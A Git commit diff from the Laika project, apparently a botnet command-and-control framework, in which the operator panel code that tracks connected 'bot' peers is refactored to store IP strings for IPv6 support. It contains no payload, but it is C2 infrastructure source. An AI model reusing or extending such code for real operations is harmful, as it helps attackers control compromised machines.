mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-14 03:20:26 +00:00
Lib: Added support for IPV6 connections
This commit is contained in:
@@ -49,7 +49,7 @@ void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
|
||||
|
||||
void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
|
||||
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
||||
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
|
||||
tShell_client *client = (tShell_client*)uData;
|
||||
tShell_peer *bot;
|
||||
@@ -58,10 +58,10 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
|
||||
/* read newly connected peer's pubKey */
|
||||
laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
|
||||
|
||||
/* read hostname & ipv4 */
|
||||
/* read hostname & ip str */
|
||||
laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN);
|
||||
laikaS_read(&peer->sock, inet, LAIKA_INET_LEN);
|
||||
laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN);
|
||||
laikaS_read(&peer->sock, ipStr, LAIKA_IPSTR_LEN);
|
||||
|
||||
/* read peer's peerType & osType */
|
||||
type = laikaS_readByte(&peer->sock);
|
||||
@@ -72,7 +72,7 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
|
||||
return;
|
||||
|
||||
/* create peer */
|
||||
bot = shellP_newPeer(type, osType, pubKey, hostname, inet, ipv4);
|
||||
bot = shellP_newPeer(type, osType, pubKey, hostname, inet, ipStr);
|
||||
|
||||
/* add peer to client */
|
||||
shellC_addPeer(client, bot);
|
||||
@@ -151,7 +151,7 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
|
||||
shellC_handleAddPeer,
|
||||
crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t) + sizeof(uint8_t),
|
||||
crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPSTR_LEN + sizeof(uint8_t) + sizeof(uint8_t),
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
|
||||
shellC_handleRmvPeer,
|
||||
@@ -258,9 +258,9 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
|
||||
laikaS_writeByte(sock, LAIKA_OSTYPE);
|
||||
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
|
||||
|
||||
/* write stub hostname & ipv4 (since we're a panel/dummy client, cnc doesn't need this information really) */
|
||||
/* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this information really) */
|
||||
laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN);
|
||||
laikaS_zeroWrite(sock, LAIKA_IPV4_LEN);
|
||||
laikaS_zeroWrite(sock, LAIKA_INET_LEN);
|
||||
laikaS_endOutPacket(client->peer);
|
||||
laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */
|
||||
|
||||
|
@@ -3,7 +3,7 @@
|
||||
#include "speer.h"
|
||||
#include "sterm.h"
|
||||
|
||||
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipv4) {
|
||||
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipStr) {
|
||||
tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer));
|
||||
peer->type = type;
|
||||
peer->osType = osType;
|
||||
@@ -11,15 +11,15 @@ tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char
|
||||
/* copy pubKey to peer's pubKey */
|
||||
memcpy(peer->pub, pubKey, crypto_kx_PUBLICKEYBYTES);
|
||||
|
||||
/* copy hostname & ipv4 */
|
||||
/* copy hostname & ip */
|
||||
memcpy(peer->hostname, hostname, LAIKA_HOSTNAME_LEN);
|
||||
memcpy(peer->inet, inet, LAIKA_IPV4_LEN);
|
||||
memcpy(peer->ipv4, ipv4, LAIKA_IPV4_LEN);
|
||||
memcpy(peer->inet, inet, LAIKA_INET_LEN);
|
||||
memcpy(peer->ipStr, ipStr, LAIKA_IPSTR_LEN);
|
||||
|
||||
/* restore NULL terminators */
|
||||
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
|
||||
peer->inet[LAIKA_INET_LEN-1] = '\0';
|
||||
peer->ipv4[LAIKA_IPV4_LEN-1] = '\0';
|
||||
peer->ipStr[LAIKA_IPSTR_LEN-1] = '\0';
|
||||
|
||||
return peer;
|
||||
}
|
||||
@@ -49,5 +49,5 @@ void shellP_printInfo(tShell_peer *peer) {
|
||||
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
|
||||
|
||||
sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
|
||||
shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipv4, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf);
|
||||
shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipStr, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf);
|
||||
}
|
Reference in New Issue
Block a user